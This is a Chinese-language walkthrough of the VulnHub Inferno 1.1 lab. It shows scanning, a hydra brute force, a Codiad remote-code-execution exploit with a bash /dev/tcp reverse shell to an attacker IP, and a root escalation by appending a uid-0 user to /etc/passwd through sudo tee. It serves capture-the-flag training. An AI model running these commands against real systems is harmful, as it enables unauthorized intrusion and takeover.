vulnhub：inferno-1.1

目录

信息搜集

扫描网段确定真实IP地址

 扫描IP地址确定开放端口以及服务

 浏览器查看web站点

扫描网站目录

 发现站点入口

发现漏洞

 暴力破解登录页面

​

登录后台

getshell

 搜索管理平台名找到利用脚本

 最终确定49705.py为exp       

 提权

发现隐藏文件

​hex解密隐藏文件得到一组用户密码

ssh登录该用户并得到第一个flag

提升至root权限

 查询该提权命令的利用方法

首先将要设置的密码转换为sha-512

写入root权限用户

登录root权限用户得到flag

 

​

总结

参考资料

---

​​​​​​​

信息搜集

扫描网段确定真实IP地址

 扫描IP地址确定开放端口以及服务

nmap -A  -p- 192.168.179.168

说实话我还是第一次扫出来这么多端口，但是仔细看看好像哪里又有点不太对劲，好像大多数服务后面都跟了？号，感觉应该是误报，毕竟web和ssh是确定的

 浏览器查看web站点

 

 是什么不重要，重要的是什么都没有

扫描网站目录

顺便说一句我也不是一开始就顺利扫到这个目录，我比较习惯用dirsearch和dirb这两款扫描工具，但是很无奈这俩大哥都不好使了（一般我都是默认扫，所以加载的字典可能不够大），没办法尝试了一下gobuster还真扫出来了

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt   -x html -u http://192.168.179.168

 发现站点入口

发现漏洞

 暴力破解登录页面

也没有更好的办法了，只能尝试一下爆破。

hydra -L ~/Desktop/Fuzzing-Dicts-master/Webmanage-Username.txt -P /usr/share/wordlists/rockyou.txt 192.168.179.168  -f http-get /inferno/ -t 64
####
-L:指定用户名字典
-P:指定密码字典
-f:找到第一对登录名或者密码的时候中止破解
-t:指定线程数
http—get:请求方式
得到
    用户名：admin
     密码: dante1

登录后台

 输入相同的账号密码，进入后台管理页面

 我是几乎把这些文件都看得差不多了，也没看出什么名堂，但是右键发现可以上传文件

getshell

一开始以为可以上传反弹shell文件getshell，后来发现文件是上传了，但是却找不到去哪了，只能换个思路。这是个后台管理平台，那平台本身就可能存在漏洞。

 搜索管理平台名找到利用脚本

searchsploit  codiad

本来还打算搞到版本号，搞得精确一点，奈何所有文件都翻过来也没翻到版本信息，好像是翻到了但是加密了。后来一想直接搜算了，好在搜出来的利用脚本并不多大不了挨个试嘛

 最终确定49705.py为exp       

locate multiple/webapps/49705.py
scp /usr/share/exploitdb/exploits/multiple/webapps/49705.py /tmp
cd /tmp
python 49705.py http://admin:dante1@192.168.179.168/inferno/ admin dante1 192.168.179.145 4444 linux

但是很奇怪，我也不知道为什么我利用这个脚本的时候一直利用不成功。后来Google到了另一个利用脚本，按理说他俩应该是一样的。但是这个就可以成功利用

git clone https://github.com/WangYihang/Codiad-Remote-Code-Execute-Exploit.git
cd Codiad-Remote-Code-Execute-Exploit
chmod +x exploit.py
./exploit.py http://admin:dante1@192.168.179.168/inferno/ admin dante1 192.168.179.145 4444 linux
另起一个终端
echo 'bash -c "bash -i >/dev/tcp/192.168.179.145/4445 0>&1 2>&1"' | nc -lnvp 4444
再来一个
nc -lnvp 4445
回到最初的那个
Y

 

 

 

 提权

发现隐藏文件

cd /home
ls -al
cd dante
ls -al
cd Downloads
ls -al
cat .download.dat

hex解密隐藏文件得到一组用户密码

c2 ab 4f 72 20 73 65 e2 80 99 20 74 75 20 71 75 65 6c 20 56 69 72 67 69 6c 69 6f 20 65 20 71 75 65 6c 6c 61 20 66 6f 6e 74 65 0a 63 68 65 20 73 70 61 6e 64 69 20 64 69 20 70 61 72 6c 61 72 20 73 c3 ac 20 6c 61 72 67 6f 20 66 69 75 6d 65 3f c2 bb 2c 0a 72 69 73 70 75 6f 73 e2 80 99 69 6f 20 6c 75 69 20 63 6f 6e 20 76 65 72 67 6f 67 6e 6f 73 61 20 66 72 6f 6e 74 65 2e 0a 0a c2 ab 4f 20 64 65 20 6c 69 20 61 6c 74 72 69 20 70 6f 65 74 69 20 6f 6e 6f 72 65 20 65 20 6c 75 6d 65 2c 0a 76 61 67 6c 69 61 6d 69 20 e2 80 99 6c 20 6c 75 6e 67 6f 20 73 74 75 64 69 6f 20 65 20 e2 80 99 6c 20 67 72 61 6e 64 65 20 61 6d 6f 72 65 0a 63 68 65 20 6d e2 80 99 68 61 20 66 61 74 74 6f 20 63 65 72 63 61 72 20 6c 6f 20 74 75 6f 20 76 6f 6c 75 6d 65 2e 0a 0a 54 75 20 73 65 e2 80 99 20 6c 6f 20 6d 69 6f 20 6d 61 65 73 74 72 6f 20 65 20 e2 80 99 6c 20 6d 69 6f 20 61 75 74 6f 72 65 2c 0a 74 75 20 73 65 e2 80 99 20 73 6f 6c 6f 20 63 6f 6c 75 69 20 64 61 20 63 75 e2 80 99 20 69 6f 20 74 6f 6c 73 69 0a 6c 6f 20 62 65 6c 6c 6f 20 73 74 69 6c 6f 20 63 68 65 20 6d e2 80 99 68 61 20 66 61 74 74 6f 20 6f 6e 6f 72 65 2e 0a 0a 56 65 64 69 20 6c 61 20 62 65 73 74 69 61 20 70 65 72 20 63 75 e2 80 99 20 69 6f 20 6d 69 20 76 6f 6c 73 69 3b 0a 61 69 75 74 61 6d 69 20 64 61 20 6c 65 69 2c 20 66 61 6d 6f 73 6f 20 73 61 67 67 69 6f 2c 0a 63 68 e2 80 99 65 6c 6c 61 20 6d 69 20 66 61 20 74 72 65 6d 61 72 20 6c 65 20 76 65 6e 65 20 65 20 69 20 70 6f 6c 73 69 c2 bb 2e 0a 0a 64 61 6e 74 65 3a 56 31 72 67 31 6c 31 30 68 33 6c 70 6d 33

 hex解密后

«Or se’ tu quel Virgilio e quella fonte
che spandi di parlar sì largo fiume?»,
rispuos’io lui con vergognosa fronte.

«O de li altri poeti onore e lume,
vagliami ’l lungo studio e ’l grande amore
che m’ha fatto cercar lo tuo volume.

Tu se’ lo mio maestro e ’l mio autore,
tu se’ solo colui da cu’ io tolsi
lo bello stilo che m’ha fatto onore.

Vedi la bestia per cu’ io mi volsi;
aiutami da lei, famoso saggio,
ch’ella mi fa tremar le vene e i polsi».


dante:V1rg1l10h3lpm3

ssh登录该用户并得到第一个flag

使用ssh是因为之前使用的那个终端不稳定老是断

提升至root权限​​​​​​​

sudo -l

 查询该提权命令的利用方法

 好的这样就大概了解到该命令的利用方法和作用。我们的思路现在是这样的，既然我有写的权限，那我直接在/etc/passwd下写个root权限的用户不就行了么

首先将要设置的密码转换为sha-512

mkpasswd -m sha-512
###
这边自己设置一个密码即可

写入root权限用户

LFILE=/etc/passwd
echo 'tester:$6$RJIWu8XvJ9VKaHHg$mDImrqHVFPVDckOH9Nxd0hIxBOs6heTrcmuMKEhwnl/B/yn764GBGjWDka6AcJgOzwQiTV9LBe5/Al8E3jrJi0:0:0:root:/root:/bin/bash' |sudo tee -a "$LFILE"
cat /etc/passwd

登录root权限用户得到flag

 

su tester
当时自己设置的密码
id
cd /root
ls -al
cat proof.txt

总结

总的来说还是有收获的比如说扫描网站目录的时候可以加载一个大点的字典或者多试试几个扫描工具可能会有意想不到的结果。然后就是./exploit.py http://admin:dante1@192.168.179.168/inferno/ admin dante1 192.168.179.145 4444 linux   这个在输入目标IP地址的时候不能单纯的输入IP地址和目录还要再前面加上admin:dante1是因为该页面有一个登录界面用于验证，这样可以帮助我们绕过该登录页面从而访问到后台管理界面。（学到了）其实还有一点搞不懂的是为什么信息藏在.download.dat里面。后来想想感觉可能跟文件本身关系也不大，应该就是隐藏文件名字而已没什么特殊含义（主要是百度谷歌都没搜出个所以然来，如果知道请告诉我，非常感谢）。最后就是又学到了一种提权方法。

参考资料

https://www.youtube.com/watch?v=oYKbbfh7ukk

https://0xjin.medium.com/inferno-1-vulnhub-details-7fd426e12e68